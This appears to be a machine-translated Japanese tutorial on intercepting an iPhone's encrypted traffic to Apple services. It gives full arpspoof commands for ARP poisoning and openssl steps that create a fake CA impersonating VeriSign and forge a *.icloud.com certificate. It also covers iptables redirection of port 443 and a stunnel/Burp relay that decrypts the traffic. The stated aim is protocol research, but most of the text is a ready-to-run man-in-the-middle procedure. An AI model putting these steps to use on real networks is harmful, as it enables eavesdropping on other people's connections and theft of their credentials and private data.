攻撃はいくつかの段階で実行されます。
1スタンドの組み立て。
2トラフィック管理。
3自己スタイルのCAの生成とインストール。
4 Appleサービス用の偽証明書を生成し、自称CAで署名します。
5受信した証明書を使用してMITM攻撃を実行する
1.スタンドの組み立て
攻撃者のコンピューターとAppleデバイスは、同じL2（802.11）ネットワークに配置されます。 さらに、デバイスは1つのL3サブネット（192.168.1.0/24など）に入力されます。 サブネットについては、インターネットルーティングを構成する必要があります。 攻撃者はほとんどの場合、Linuxを使用して攻撃します。
2.トラフィック管理
攻撃者は特別な形式のARPパケットを生成し、攻撃対象のデバイスの自分のMACアドレスがネットワークゲートウェイに関連付けられていることを確認します。ゲートウェイの場合、攻撃者は同じ原理で攻撃対象のデバイスになります。 その結果、ゲートウェイと攻撃されたデバイス間の双方向のすべてのトラフィックは、攻撃者のコンピューターを通過します（この状態を達成する方法は100500あります。ゲートウェイを制御できない場合、arpspoofがおそらく最も簡単です）。 この状態で正常に動作するには、攻撃者のコンピューターでパケットの転送を有効にする必要があります。これは行われます
sysctl -w net.ipv4.ip_forward=1
#
echo 1 > /proc/sys/net/ipv4/ip_forward
なりすましは、古く信頼性の高いarpspoofを使用します。
#192.168.1.101 - iphone
#192.168.1.101 -
arpspoof -i wlan0 -t 192.168.1.101 192.168.1.1
arpspoof -i wlan0 -t 192.168.1.1 192.168.1.101
#
攻撃されたIPにフィルターを設定することで、wiresharkを介したトラフィックインターセプトの成功を確認できます（wiresharkは転送中に1つのパケットを2回見るため、恐ろしい色でマークし、再送信時に誓いますが、フィルタリングできます）
3.セルフスタイルCAの生成
ここでは、解決策が明らかになる前に、実験しなければならなかったため、理論上の余談が必要です。 iOSのすべての通常の認証手順（パスワード、メールからの証明書、wifiなど）は、認証手順を実行する必要があるたびに実行されるsecuritydデーモンを通過します。 デーモンが使用するすべてのデータ（認証シークレットなど）は、次の場所にあるsqliteデータベース（keychain-2.db）に保存されます。古いファームウェアを搭載した古いipad：
iPad:/private/var/Keychains root# uname -a
Darwin iPad 10.4.0 Darwin Kernel Version 10.4.0: Wed Oct 20 20:14:45 PDT 2010; root:xnu-1504.58.28~3/RELEASE_ARM_S5L8930X iPad1,1 arm K48AP Darwin
iPad:/private/var/Keychains root# pwd
/private/var/Keychains
iPad:/private/var/Keychains root# ls -liahs keychain-2.db
147473 112K -rw------- 1 _securityd wheel 112K Dec 19 00:11 keychain-2.db
( , )
, , .
iPhoneをicloudまたはappstoreに接続するとき、サーバーは証明書で認証するため、ストレージが削除または削除された場合でも、認証が成功した理由は最初は明確ではありませんでした。 さらなる調査により、VeriSign CA（Apppleサーバー証明書によって認証されている）を含む一部のCAは、セキュリティで保護された実行可能ファイルに直接配線されており、明らかにAppStoreへの接続時にサーバー認証手順に使用されることが示されました。
iPhoneのネイティブCAツールは、ユーザーがCAをiPhoneに追加できるように設計されています。これは、明らかに、ユーザーシステムの認証に役立つはずです。 ただし、このメカニズムは、* .itunes.apple.comおよび* .icloud.comで生成された偽の証明書を認証するために使用される「自己宣言」CAをiPhoneにインストールすることを妨げるものは何もありません（Appleがこれを別の問題として許可する理由） ） 注目すべきことは、この手順は定期的であり、脱獄を必要としないことです。
次のようにCAを生成しました。
[20:36:02 dev@sandbox:~/CA]$openssl req -new -x509 -days 3650 -extensions v3_ca -keyout private/cakey.pem -out cacert.pem
Generating a 1024 bit RSA private key
.........................................................................++++++
.........................................++++++
writing new private key to 'private/cakey.pem'
Enter PEM pass phrase:
Verifying - Enter PEM pass phrase:
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:US
State or Province Name (full name) [Some-State]:VeriSign
Locality Name (eg, city) []:VeriSign Trust Network
Organization Name (eg, company) [Internet Widgits Pty Ltd]:VeriSign Inc
Organizational Unit Name (eg, section) []:Terms of use at www.verisign.com/rpa (c)09
Common Name (eg, YOUR name) []:VeriSign Class 3 Secure Server CA - G2
Email Address []:
結果のcacert.pemは、メールへの添付ファイルとしてiphoneに送信できます。インストールはレターから直接可能です。
4. Appleサービスの偽の証明書を生成する
これは2段階で実行されます。最初に要求を生成し、次にCAで署名します。
[21:10:52 dev@sandbox:~/CA]$openssl req -new -nodes -out my_icloud_apple_req.pem -keyout my_icloud_apple_key.pem
Generating a 1024 bit RSA private key
......++++++
.++++++
writing new private key to 'my_icloud_apple_key.pem'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:US
State or Province Name (full name) [Some-State]:california
Locality Name (eg, city) []:cupertino
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Apple Inc
Organizational Unit Name (eg, section) []:iTMS
Common Name (eg, YOUR name) []:*.icloud.com
Email Address []:
Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:
[22:42:33 dev@sandbox:~/CA]$openssl x509 -req -days 365 -in my_icloud_apple_req.pem -CA cacert.pem -CAkey private/cakey.pem -set_serial 01 -out my_icloud_apple_cert.pem
Signature ok
subject=/C=US/ST=california/L=cupertino/O=Apple Inc/OU=iTMS/CN=*.icloud.com
Getting CA Private Key
Enter pass phrase for private/cakey.pem:
[22:44:20 dev@sandbox:~/CA]$
# appstore
5.受信した証明書を使用してMITM攻撃を実行する
トラフィックを自分で通過させ、証明書で記述されたすべてのことを行った後、関心のあるサービスへのすべての接続をインターセプトし、設計を通過させる必要があります。 これを愚かで信頼性の高い方法で行うことができます。ポート443ですべての接続をインターセプトします。
iptables -A FORWARD -j ACCEPT
iptables -t nat -A PREROUTING -p tcp -m tcp --dport 443 -j REDIRECT --to-ports 8443
そのため、443でのiphoneとのすべての接続は、ポート8443でローカルにリッスンする特定のエンティティに転送されます。 私の場合、次の設定を使用したスタンネルでした。
; PID is created inside the chroot jail
pid = /stunnel.pid
; Debugging stuff (may useful for troubleshooting)
debug = 7
output = /var/log/stunnel.log
;
cert = /home/dev/CA/my_icloud_apple_cert.pem
key = /home/dev/CA/my_icloud_apple_key.pem
; Disable support for insecure SSLv2 protocol
options = NO_SSLv2
; https 8443 9000
[https_s]
accept = 0.0.0.0:8443
connect = 0.0.0.0:9000
; 9500 , https icloud
[https_c]
client = yes
accept = 0.0.0.0:9500
connect = 17.172.208.53:443
この設定からわかるように、回線を閉じるには、9000> 9500のプロキシが必要です。トラフィックはクリアに通過します。これにはBurpを使用します。
これで、Appleのプロトコルを調べて、最後に、あなたの個性の秘密がクパチーノの暗い地下室にまっすぐに飛び込むのを見つけることができます=）